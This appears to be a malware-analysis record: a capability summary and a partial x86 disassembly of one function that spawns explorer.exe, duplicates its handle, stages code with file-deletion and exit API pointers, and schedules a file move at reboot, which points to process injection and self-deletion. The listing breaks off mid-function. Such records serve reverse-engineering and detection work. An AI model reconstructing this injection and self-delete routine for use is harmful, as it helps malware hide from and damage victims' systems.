Function at 0x406c95
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x461434
mov eax, dword fs:[0]
push eax
mov eax, 0x1068
call fcn.0043f8d0
mov eax, dword [0x484db8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1005]
mov edi, 0x47602c
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x18], 0x46c7e0
call fcn.004033a0
mov esi, 0x104
push esi
lea eax, [ebp - 0x102c]
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
call fcn.0040768d
xor ecx, ecx
inc ecx
mov dword [ebp - 0x100c], ecx
mov byte [ebp - 4], cl
mov byte [eax + 4], cl
mov ecx, dword [eax]
call fcn.00407632
push esi
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], bl
call fcn.00406b57
push ebx
push ebx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x40]
call fcn.004077d1
push 0xc
sub esp, 0x30
mov ecx, esp
push ebx
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x28], 0x46c7e0
call fcn.004064e5
call fcn.004333d4
add esp, 0x34
test al, al
jne 0x406d9f
cmp byte [ebp + 8], al
je 0x4070b0
push 0xc
sub esp, 0x30
mov ecx, esp
push ebx
lea eax, [ebp - 0xa0]
push eax
mov dword [ecx], edi
mov dword [ecx + 0x28], 0x46c7e0
call fcn.004064e5
call fcn.004333d4
add esp, 0x34
test al, al
je 0x4070b0
push ebx
lea eax, [ebp - 0x1005]
push eax
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x48], 0x46c7e0
call fcn.004033a0
push esi
lea eax, [ebp - 0x102c]
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 3
call fcn.0040768d
mov ecx, dword [eax]
mov byte [ebp - 4], 4
mov byte [eax + 4], 1
call fcn.00407632
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 3
call fcn.00406b57
cmp dword [ebp - 0x5c], 0
je 0x406e0c
cmp dword [ebp - 0x58], 8
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x44
pop esi
push 0x40
lea eax, [ebp - 0x1070]
push ebx
push eax
mov dword [ebp - 0x1074], esi
call fcn.0043e0c0
add esp, 0xc
lea eax, [ebp - 0x1005]
push ebx
push eax
push str.explorer.exe
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xd0], edi
mov dword [ebp - 0xa8], 0x46c7e0
call fcn.004065d0
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 5
call fcn.00406bf1
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 7
call fcn.00401500
lea ecx, [ebp - 0x100]
call fcn.00407632
lea ecx, [ebp - 0x101c]
push ecx
lea ecx, [ebp - 0x1074]
push ecx
push ebx
push ebx
push esi
push ebx
push ebx
push ebx
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x406fc1
push 0xc31
lea eax, [ebp - 0x1000]
push ebx
push eax
mov dword [ebp - 0x1004], ebx
call fcn.0043e0c0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x28], 8
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x7fc], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x7f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x7f0], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x7ec], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x7e8], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x7e0], al
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
mov esi, 0x104
push esi
push eax
lea eax, [ebp - 0x7df]
push eax
mov dword [ebp - 0x7f8], edi
call fcn.0043f14d
add esp, 0x18
cmp byte [ebp + 8], 0
je 0x406f58
cmp dword [ebp - 0x88], 8
lea eax, [ebp - 0x9c]
cmovae eax, dword [ebp - 0x9c]
push esi
push eax
lea eax, [ebp - 0x5d7]
push eax
call fcn.0043f14d
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x800]
push eax
push dword [ebp - 0x101c]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 0x407216
mov ecx, 0x407b4a
sub eax, ecx
cmp eax, 0x800
jbe 0x406fcc
push ebx
push dword [ebp - 0x101c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x101c]
call edi
push dword [ebp - 0x1018]
call edi
cmp dword [ebp - 0x28], 8
push 4
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov bl, 1
mov byte [ebp - 0x100c], bl
jmp 0x40709d
push eax
push ecx
lea eax, [ebp - 0x1000]
push eax
call fcn.0043e410
add esp, 0xc
lea eax, [ebp - 0x3cc]
push eax